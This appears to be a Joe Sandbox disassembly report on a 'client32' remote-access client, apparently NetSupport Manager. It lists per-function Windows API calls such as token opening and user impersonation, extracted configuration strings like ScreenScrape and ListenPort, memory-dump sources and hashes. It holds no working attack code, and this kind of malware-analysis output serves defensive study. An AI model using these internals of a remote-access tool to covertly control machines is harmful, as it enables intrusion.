Part of subcall function 11110DE0: CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,11031700), ref: 11110ED2

GetWindowThreadProcessId.USER32(00000000,?), ref: 1102EF4B
OpenProcess.KERNEL32(00100400,00000000,?), ref: 1102EF6D
IsILS.PCICHEK(?,?,View,Client,Bridge), ref: 1102F22F

Part of subcall function 11094F00: OpenProcessToken.ADVAPI32(00000000,00000018,00000000,00000000,00000000,00000000,?,?,1102EF9C,00000000,?,00000100,00000000,00000000,00000000), ref: 11094F1C
Part of subcall function 11094F00: OpenProcessToken.ADVAPI32(00000000,00000008,00000000,?,?,1102EF9C,00000000,?,00000100,00000000,00000000,00000000), ref: 11094F29
Part of subcall function 11094F00: CloseHandle.KERNEL32(00000000,00000000,?,00000100,00000000,00000000,00000000), ref: 11094F59

SendMessageA.USER32(00000000,00000010,00000000,00000000), ref: 1102EFCC
WaitForSingleObject.KERNEL32(00000000,00007530), ref: 1102EFD8
CloseHandle.KERNEL32(00000000), ref: 1102EFF0
FindWindowA.USER32(NSMWClass,00000000), ref: 1102EFFD
GetWindowThreadProcessId.USER32(00000000,?), ref: 1102F019
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 1102ED86

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

IsJPIK.PCICHEK(?,?,?,View,Client,Bridge), ref: 1102F3ED
LoadIconA.USER32(11000000,000004C1), ref: 1102F521
LoadIconA.USER32(11000000,000004C2), ref: 1102F531
DestroyCursor.USER32(00000000), ref: 1102F557
DestroyCursor.USER32(00000000), ref: 1102F568

Part of subcall function 11028360: ImpersonateLoggedOnUser.ADVAPI32(00000000), ref: 110283A3
Part of subcall function 11028360: GetUserNameA.ADVAPI32(?,?), ref: 110283BC
Part of subcall function 11028360: RevertToSelf.ADVAPI32 ref: 110283DC
Part of subcall function 11028360: CloseHandle.KERNEL32(00000000), ref: 110283E3

GetVersion.KERNEL32(?,?,?,?,?,00000000,MiniDumpType,000000FF,00000000,00000000,?,?,?,View,Client,Bridge), ref: 1102FB05
GetVersionExA.KERNEL32(?,?,?,?,?,?,00000000,MiniDumpType,000000FF,00000000,00000000,?,?,?,View,Client), ref: 1102FB58
Sleep.KERNEL32(00000064,Client,*StartupDelay,00000000,00000000,?,?,?,?,?,00000000,MiniDumpType,000000FF,00000000,00000000), ref: 110300F2
PeekMessageA.USER32(?,00000000,00000000,00000009,00000001), ref: 1103012C
DispatchMessageA.USER32(?), ref: 11030136
PeekMessageA.USER32(?,00000000,00000000,00000009,00000001), ref: 11030148
CloseHandle.KERNEL32(00000000,Function_000278D0,00000001,00000000,?,?,?,?,?,00000000,?,?,?,?,?,00000000), ref: 110303D4
GetCurrentProcess.KERNEL32(00000000,Client,*PriorityClass,00000080,00000000,Client,*ScreenScrape,00000000,00000000,?,?,?,?,?,00000000), ref: 1103040C
SetPriorityClass.KERNEL32(00000000,?,?,?,?,?,00000000,?,?,?,?,?,00000000,MiniDumpType,000000FF,00000000), ref: 11030413
SetWindowPos.USER32(00040270,000000FF,00000000,00000000,00000000,00000000,00000013,Client,AlwaysOnTop,00000000,00000000), ref: 11030449
CloseHandle.KERNEL32(00000000,1105A720,00000001,00000000,?,?,?,?,?,?,?,?,00000000), ref: 110304CA

Part of subcall function 1105E820: __wcstoi64.LIBCMT ref: 1105E85D

wsprintfA.USER32 ref: 11030645

Part of subcall function 11129040: CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,AB86ACF8,?,?,00000000), ref: 1112909A
Part of subcall function 11129040: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 111290A7
Part of subcall function 11129040: WaitForSingleObject.KERNEL32(00000006,000000FF,00000000,00000000), ref: 111290EE

Strings

TracePriv, xrefs: 110300AA
Unsupported Platform, xrefs: 1102F445
Windows 8.1 x64, xrefs: 1102FF12
Windows Vista x64, xrefs: 1102FD7D
V12.00.20, xrefs: 1103002D
DisableTSAdmin, xrefs: 1102F702
Windows 98, xrefs: 1102FB9B
Info. Trying to close client, xrefs: 1102EFB8
Windows XP x64, xrefs: 1102FCDF
Windows Vista, xrefs: 1102FD4F
NSMWClass, xrefs: 1102ED16, 1102EEF7, 1102EFF8, 1103062F
Windows Ding.wav, xrefs: 1102FA82
Intel error "%s", xrefs: 1102F322
*ScreenScrape, xrefs: 11030177, 110301C0, 110303E0
Error x%x reading nsm.lic, sesh=%d, xrefs: 1102F0E8
Windows 10, xrefs: 1102FF6D
istaService, xrefs: 1102EC6B
NeedsReinstall, xrefs: 1102F690
Windows CE, xrefs: 1102FFFF
Windows 7, xrefs: 1102FE19
DisableHelp, xrefs: 1102F9D5
Windows 10 x64, xrefs: 1102FF9D
\Explorer.exe, xrefs: 1103099D
UseLegacyPrintCapture, xrefs: 1102FAE6
RestartAfterError, xrefs: 1102F6B4
Windows 2008, xrefs: 1102FDB6
_debug, xrefs: 110300AF
Ready, xrefs: 11030801
pcicl32, xrefs: 1102EEE4
Info. Client already running, pid=%d (x%x), xrefs: 1102EF56
Bridge, xrefs: 1102F038
EnableSmartcardLogon, xrefs: 11030533
Windows 2012, xrefs: 1102FEC1
Session shutting down, exiting..., xrefs: 1102ED5E
IsJPIK returned %d, isvistaservice %d, xrefs: 1102F3FD
ShowKBEnable, xrefs: 1102F85D
AssertTimeout, xrefs: 1102F5E7
Default, xrefs: 1103078B, 110307BA, 110307E3
*StartupDelay, xrefs: 110300CC
DisableJournal, xrefs: 1102F8D7, 1102F975
*PriorityClass, xrefs: 110303FC
DisableConsoleClient, xrefs: 1102F6EA, 1102F77F
General, xrefs: 1102F5EC, 1102F6B9, 1102FA1F, 1102FA52
Windows 2003, xrefs: 1102FCB0
istaUI, xrefs: 1102EC86
Windows 8 x64, xrefs: 1102FE90
LSPloaded=%d, WFPloaded=%d, xrefs: 1102F66E
win8ui, xrefs: 1102F4C1
EnableGradientCaptions, xrefs: 1102F5A0, 1102F5B9, 1102F5D4
EnableSmartcardAuth, xrefs: 1103056F
View, xrefs: 1102F050, 1102F5A5, 1102F5BE, 1102F5D9
Windows XP, xrefs: 1102FC89
MiniDumpType, xrefs: 1102F605
NSM.LIC, xrefs: 1102F078, 1102F11A
NSMWClassVista, xrefs: 1102ED05
Windows 2012 R2, xrefs: 1102FF3E
Windows 2000, xrefs: 1102FC5B
NSMWControl32, xrefs: 11030792
IsILS returned %d, isvistaservice %d, xrefs: 1102F23E
Intel(r), xrefs: 1102F30C
DisableReplayMenu, xrefs: 1102F8A7, 1102F945
*BeepSound, xrefs: 1102FA4D
Found old explorer hwnd=x%x h=%d,w=%d,style=x%x (%s), xrefs: 110309E6
Windows 7 x64, xrefs: 1102FE3A
cl32main, xrefs: 1102EC03
NSA.LIC, xrefs: 1102F086
Windows 8, xrefs: 1102FE68
Client, xrefs: 1102F044, 1102F695, 1102F71F, 1102F740, 1102F7AE, 1102F7C6, 1102F7DE, 1102F808, 1102F832, 1102F862, 1102F894, 1102F8AC, 1102F8C4, 1102F8DC, 1102F8F4, 1102F90C, 1102F932, 1102F94A, 1102F962, 1102F97A, 1102F992, 1102F9AA, 1102F9C2, 1102F9DA, 1102FAEB, 110300D1, 1103017C, 110301C5, 1103038E, 110303E5, 11030401, 11030428, 11030538, 11030553, 11030574, 11030671
Windows NT, xrefs: 1102FC2E
Windows XP Ding.wav, xrefs: 1102FA89
DisableAudioFilter, xrefs: 1102F753, 1102FB22
CabinetWClass, xrefs: 110308F7
_debug, xrefs: 1102F4C6, 1102F60A, 110306A4
V12.10.20, xrefs: 11030034, 11030068
NSTWControl32, xrefs: 110307EA
Global\NSMWClassAdmin, xrefs: 1103063A
Windows Millennium, xrefs: 1102FBCB
TCPIP, xrefs: 11030743
Error. Could not load transports - perhaps another client is running, xrefs: 110302F7
client32, xrefs: 1102F15E, 1102F367, 1102F46E
CLIENT32.CPP, xrefs: 1102ED9A, 1102F380
Windows 8.1, xrefs: 1102FEEF
hClientRunning = %x, pid=%d (x%x), xrefs: 1102F025
ScreenScrape, xrefs: 1102F7D9, 1102F803, 1102F82D
closed ok, xrefs: 1102EFE2
Windows 95, xrefs: 1102FB6A
Windows 2008 x64, xrefs: 1102FDE2
JPK, xrefs: 1102F2D5, 1102F39B
Found new explorer hwnd=x%x h=%d,w=%d,style=x%x (%s), xrefs: 11030A84
IKS.LIC, xrefs: 1102F096, 1102F09D, 1102F0C0
Windows 2016, xrefs: 1102FFD4
Info. Client running as user=%s, type=%d, xrefs: 1102EFA6
DisableAudio, xrefs: 1102F71A, 1102F73B, 1102F7A9, 1102F907, 1102F9A5
DisableJoinClass, xrefs: 1102F88F, 1102F92D
UseIPC, xrefs: 1103066C
Error. Wrong hardware. Terminating, xrefs: 1102F26D, 1102F430
AlwaysOnTop, xrefs: 11030423
Windows 2003 x64, xrefs: 1102FD18
DisableRequestHelp, xrefs: 1102F8BF, 1102F95D
Audio, xrefs: 1102F758, 1102FB27
NoFTWhenLoggedOff, xrefs: 1102F9BD
gClient.hNotifyEvent, xrefs: 1102ED9F
562258, xrefs: 1103022D, 11030280, 110302BB, 11030398
*BeepUsingSpeaker, xrefs: 1102FA1A
TraceIPC, xrefs: 1103069F
DisableJournalMenu, xrefs: 1102F8EF, 1102F98D
OS2, xrefs: 1102FC0D
*ListenPort, xrefs: 1103073E
NSSWControl32, xrefs: 110307C1
UseNTSecurity, xrefs: 1103054E
DisableRunplugin, xrefs: 1102F7C1

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Process$CloseHandleMessageWindow$CreateEvent$CriticalOpenSectionThreadwsprintf$CurrentCursorDestroyFindIconInitializeLoadObjectPeekSingleTokenUserVersionWait$ClassDispatchEnterErrorExitImpersonateLastLoggedMetricsNamePriorityRevertSelfSendSleepSystem__wcstoi64_malloc_memset
String ID: *BeepSound$*BeepUsingSpeaker$*ListenPort$*PriorityClass$*ScreenScrape$*StartupDelay$562258$AlwaysOnTop$AssertTimeout$Audio$Bridge$CLIENT32.CPP$CabinetWClass$Client$Default$DisableAudio$DisableAudioFilter$DisableConsoleClient$DisableHelp$DisableJoinClass$DisableJournal$DisableJournalMenu$DisableReplayMenu$DisableRequestHelp$DisableRunplugin$DisableTSAdmin$EnableGradientCaptions$EnableSmartcardAuth$EnableSmartcardLogon$Error x%x reading nsm.lic, sesh=%d$Error. Could not load transports - perhaps another client is running$Error. Wrong hardware. Terminating$Found new explorer hwnd=x%x h=%d,w=%d,style=x%x (%s)$Found old explorer hwnd=x%x h=%d,w=%d,style=x%x (%s)$General$Global\NSMWClassAdmin$IKS.LIC$Info. Client already running, pid=%d (x%x)$Info. Client running as user=%s, type=%d$Info. Trying to close client$Intel error "%s"$Intel(r)$IsILS returned %d, isvistaservice %d$IsJPIK returned %d, isvistaservice %d$JPK$LSPloaded=%d, WFPloaded=%d$MiniDumpType$NSA.LIC$NSM.LIC$NSMWClass$NSMWClassVista$NSMWControl32$NSSWControl32$NSTWControl32$NeedsReinstall$NoFTWhenLoggedOff$OS2$Ready$RestartAfterError$ScreenScrape$Session shutting down, exiting...$ShowKBEnable$TCPIP$TraceIPC$TracePriv$Unsupported Platform$UseIPC$UseLegacyPrintCapture$UseNTSecurity$V12.00.20$V12.10.20$View$Windows 10$Windows 10 x64$Windows 2000$Windows 2003$Windows 2003 x64$Windows 2008$Windows 2008 x64$Windows 2012$Windows 2012 R2$Windows 2016$Windows 7$Windows 7 x64$Windows 8$Windows 8 x64$Windows 8.1$Windows 8.1 x64$Windows 95$Windows 98$Windows CE$Windows Ding.wav$Windows Millennium$Windows NT$Windows Vista$Windows Vista x64$Windows XP$Windows XP Ding.wav$Windows XP x64$\Explorer.exe$_debug$_debug$cl32main$client32$closed ok$gClient.hNotifyEvent$hClientRunning = %x, pid=%d (x%x)$istaService$istaUI$pcicl32$win8ui
API String ID: 372548862-1112890062
Opcode ID: f030ead741776a7803f21ff1f7e048a7965167955552501523b662331764eb58
Instruction ID: 381c96219eccee67eae21d9e39560490d5bedbb063d23e5a2fc42920cd5923e4
Opcode Fuzzy Hash: f030ead741776a7803f21ff1f7e048a7965167955552501523b662331764eb58
Instruction Fuzzy Hash: 39F2F978E0226A9FE715CBA0CC94FADF7A5BB4870CF504468F925B72C8DB706940CB56

Function 1102E0D0 Relevance: 82.9, APIs: 15, Strings: 32, Instructions: 630
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

%sessionname%, xrefs: 1102E859, 1102E872
NSM.LIC, xrefs: 1102E0F2
$session$, xrefs: 1102E886
IsA(), xrefs: 1102E849, 1102E8C8
client32.ini, xrefs: 1102E325
WTSQuerySessionInformationA, xrefs: 1102E56E
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 1102E844, 1102E8C3
Trying to get mac addr for %u.%u.%u.%u, xrefs: 1102E5C4
Wtsapi32.dll, xrefs: 1102E4FC
TSMode, xrefs: 1102E4B0
Client, xrefs: 1102E4B5, 1102E4ED, 1102E604
%session%, xrefs: 1102E89A
%02d, xrefs: 1102E808
NSMWClass, xrefs: 1102E2B4
ClientName, xrefs: 1102E6B5
screenscrape, xrefs: 1102E4E8
562258, xrefs: 1102E715, 1102E8DB, 1102E8FF, 1102E90C, 1102E93C, 1102E9B1
DisableConsoleClient, xrefs: 1102E437
Error x%x reading %s, sesh=%d, xrefs: 1102E381
client32 dbi %hs, xrefs: 1102E993
TCPIP, xrefs: 1102E4D5
client32, xrefs: 1102E3F5
ts macaddr=%s, xrefs: 1102E5EC
multipoint=%d, softxpand=%d, pid=%d, xrefs: 1102E9E0
18/11/16 11:28:14 V12.10F20, xrefs: 1102E98E
%s.%02d, xrefs: 1102E820
computername=%s, clientname=%s, tsmode=%d, vui=%d, vsvc=%d, xrefs: 1102E9BA
MacAddress, xrefs: 1102E5FF
WTSFreeMemory, xrefs: 1102E631
Warning: Unexpanded clientname=<%s>, xrefs: 1102E7C3
ListenPort, xrefs: 1102E4D0
, xrefs: 1102E685

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _malloc_memsetwsprintf
String ID: $$session$$%02d$%s.%02d$%session%$%sessionname%$18/11/16 11:28:14 V12.10F20$562258$Client$ClientName$DisableConsoleClient$Error x%x reading %s, sesh=%d$IsA()$ListenPort$MacAddress$NSM.LIC$NSMWClass$TCPIP$TSMode$Trying to get mac addr for %u.%u.%u.%u$WTSFreeMemory$WTSQuerySessionInformationA$Warning: Unexpanded clientname=<%s>$Wtsapi32.dll$client32$client32 dbi %hs$client32.ini$computername=%s, clientname=%s, tsmode=%d, vui=%d, vsvc=%d$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h$multipoint=%d, softxpand=%d, pid=%d$screenscrape$ts macaddr=%s
API String ID: 3802068140-1818846399
Opcode ID: 5b056e33e84810f5b47047bfdd2e7b6d2b60f2191365f8a3aba671e699e49f35
Instruction ID: ec88a390f79512b50aba7168cc31da78705c53b3cca2911266f0d70c00f4e6f9
Opcode Fuzzy Hash: 5b056e33e84810f5b47047bfdd2e7b6d2b60f2191365f8a3aba671e699e49f35
Instruction Fuzzy Hash: 8232B175D4127A9FDB22CF90CC84BEDB7B8BB44308F8445E9E559A7280EB706E84CB51

Function 11144140 Relevance: 66.6, APIs: 20, Strings: 18, Instructions: 134
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,8504C483,74DF23A0), ref: 11144173
LoadLibraryA.KERNEL32(?), ref: 111441BC
LoadLibraryA.KERNEL32(DBGHELP.DLL), ref: 111441D5
LoadLibraryA.KERNEL32(IMAGEHLP.DLL), ref: 111441E4
GetModuleHandleA.KERNEL32(?), ref: 111441EA
GetProcAddress.KERNEL32(00000000,SymGetLineFromAddr), ref: 111441FE
GetProcAddress.KERNEL32(00000000,SymGetLineFromName), ref: 1114421D
GetProcAddress.KERNEL32(00000000,SymGetLineNext), ref: 11144228
GetProcAddress.KERNEL32(00000000,SymGetLinePrev), ref: 11144233
GetProcAddress.KERNEL32(00000000,SymMatchFileName), ref: 1114423E
GetProcAddress.KERNEL32(00000000,StackWalk), ref: 11144249
GetProcAddress.KERNEL32(00000000,SymCleanup), ref: 11144254
GetProcAddress.KERNEL32(00000000,SymLoadModule), ref: 1114425F
GetProcAddress.KERNEL32(00000000,SymInitialize), ref: 1114426A
GetProcAddress.KERNEL32(00000000,SymGetOptions), ref: 11144275
GetProcAddress.KERNEL32(00000000,SymSetOptions), ref: 11144280
GetProcAddress.KERNEL32(00000000,SymGetModuleInfo), ref: 1114428B
GetProcAddress.KERNEL32(00000000,SymGetSymFromAddr), ref: 11144296
GetProcAddress.KERNEL32(00000000,SymFunctionTableAccess), ref: 111442A1
GetProcAddress.KERNEL32(00000000,MiniDumpWriteDump), ref: 111442AC

Part of subcall function 11081E00: _strrchr.LIBCMT ref: 11081E0E

Strings

dbghelp.dll, xrefs: 11144198
SymLoadModule, xrefs: 11144256
SymMatchFileName, xrefs: 11144235
SymGetLineNext, xrefs: 1114421F
MiniDumpWriteDump, xrefs: 111442A3
SymSetOptions, xrefs: 11144277
SymGetModuleInfo, xrefs: 11144282
DBGHELP.DLL, xrefs: 111441CF, 111441D4
IMAGEHLP.DLL, xrefs: 111441DE, 111441E3, 111441E9
SymGetSymFromAddr, xrefs: 1114428D
SymInitialize, xrefs: 11144261
SymGetLineFromAddr, xrefs: 111441F8
SymGetOptions, xrefs: 1114426C
SymFunctionTableAccess, xrefs: 11144298
StackWalk, xrefs: 11144243
SymGetLineFromName, xrefs: 11144217
SymGetLinePrev, xrefs: 1114422A
SymCleanup, xrefs: 1114424B

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad$Module$FileHandleName_strrchr
String ID: DBGHELP.DLL$IMAGEHLP.DLL$MiniDumpWriteDump$StackWalk$SymCleanup$SymFunctionTableAccess$SymGetLineFromAddr$SymGetLineFromName$SymGetLineNext$SymGetLinePrev$SymGetModuleInfo$SymGetOptions$SymGetSymFromAddr$SymInitialize$SymLoadModule$SymMatchFileName$SymSetOptions$dbghelp.dll
API String ID: 3874234733-2061581830
Opcode ID: 57b4066cb2a569ca058a5d5f8073bc193ef12f36e95607c0665d50404da9b0c4
Instruction ID: c7cebb5ad097969c59afa36c8b157edb2e0deacaa1fcee2d42955e2ce7c14d1b
Opcode Fuzzy Hash: 57b4066cb2a569ca058a5d5f8073bc193ef12f36e95607c0665d50404da9b0c4
Instruction Fuzzy Hash: 74416174A40704AFDB289F769D84E6BFBF8FF55B18B50492EE445D3A00EB74E8008B59

Function 110AA170 Relevance: 56.2, APIs: 27, Strings: 5, Instructions: 236
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(setupapi.dll,AB86ACF8,00000000,00000000,?,?,?,?,?,?,?,?,?,?,00000000,111856D8), ref: 110AA1A3
GetProcAddress.KERNEL32(00000000,SetupDiGetClassDevsA), ref: 110AA1C7
SetupDiGetClassDevsA.SETUPAPI(111A7EDC,00000000,00000000,00000012,?,?,?,?,?,?,?,?,?,00000000,111856D8,000000FF), ref: 110AA1E1
GetProcAddress.KERNEL32(00000000,SetupDiEnumDeviceInterfaces), ref: 110AA20C
_free.LIBCMT ref: 110AA240
GetProcAddress.KERNEL32(00000000,SetupDiGetDeviceInterfaceDetailA), ref: 110AA252
GetLastError.KERNEL32 ref: 110AA27D
_malloc.LIBCMT ref: 110AA293
GetProcAddress.KERNEL32(00000000,SetupDiGetDeviceInterfaceDetailA), ref: 110AA2B5
SetLastError.KERNEL32(00000078,?,?,?,?,?,?,?,?,?,00000000,111856D8,000000FF,?,1102F855,Client), ref: 110AA2E7
SetLastError.KERNEL32(00000078), ref: 110AA2FB
GetLastError.KERNEL32 ref: 110AA301
_free.LIBCMT ref: 110AA313
SetLastError.KERNEL32(00000078), ref: 110AA324
SetLastError.KERNEL32(00000078), ref: 110AA331
_free.LIBCMT ref: 110AA344
FreeLibrary.KERNEL32(?,?), ref: 110AA354
FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00000000,111856D8,000000FF,?,1102F855,Client), ref: 110AA3F8

Strings

SetupDiGetDeviceInterfaceDetailA, xrefs: 110AA24C, 110AA2AF
SetupDiDestroyDeviceInfoList, xrefs: 110AA3A0
SetupDiGetClassDevsA, xrefs: 110AA1BB
SetupDiEnumDeviceInterfaces, xrefs: 110AA206
setupapi.dll, xrefs: 110AA19B

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorLast$AddressProc$Library_free$Free$ClassDevsLoadSetup_malloc
String ID: SetupDiDestroyDeviceInfoList$SetupDiEnumDeviceInterfaces$SetupDiGetClassDevsA$SetupDiGetDeviceInterfaceDetailA$setupapi.dll
API String ID: 3464732724-3340099623
Opcode ID: dbc8acc033e5e24f37873c07638d6d638064cee8c874e7b38a73b383613d7029
Instruction ID: 5c4fa76f58df98f84a8804f3b2f927c1121c913996f050c4ed1f836ab53a5840
Opcode Fuzzy Hash: dbc8acc033e5e24f37873c07638d6d638064cee8c874e7b38a73b383613d7029
Instruction Fuzzy Hash: CE818472D40219EBEB04DFE4ED88F9EBBB8AF44704F104528F922A76C4DB759945CB50

Function 1102E199 Relevance: 49.3, APIs: 7, Strings: 21, Instructions: 319
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(Wtsapi32.dll,Client,screenscrape,00000001,00000003,TCPIP,ListenPort,00000000,00000003,00000003,?,?,?,?,?,?), ref: 1102E501

Strings

ClientName, xrefs: 1102E6B5
screenscrape, xrefs: 1102E4E8
562258, xrefs: 1102E715, 1102E93C, 1102E9B1
DisableConsoleClient, xrefs: 1102E437
Error x%x reading %s, sesh=%d, xrefs: 1102E381
client32.ini, xrefs: 1102E325
client32 dbi %hs, xrefs: 1102E993
TCPIP, xrefs: 1102E4D5
WTSQuerySessionInformationA, xrefs: 1102E56E
ts macaddr=%s, xrefs: 1102E5EC
multipoint=%d, softxpand=%d, pid=%d, xrefs: 1102E9E0
18/11/16 11:28:14 V12.10F20, xrefs: 1102E98E
Trying to get mac addr for %u.%u.%u.%u, xrefs: 1102E5C4
computername=%s, clientname=%s, tsmode=%d, vui=%d, vsvc=%d, xrefs: 1102E9BA
Wtsapi32.dll, xrefs: 1102E4FC
MacAddress, xrefs: 1102E5FF
WTSFreeMemory, xrefs: 1102E631
TSMode, xrefs: 1102E4B0
Client, xrefs: 1102E4B5, 1102E4ED, 1102E604
ListenPort, xrefs: 1102E4D0
, xrefs: 1102E685

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
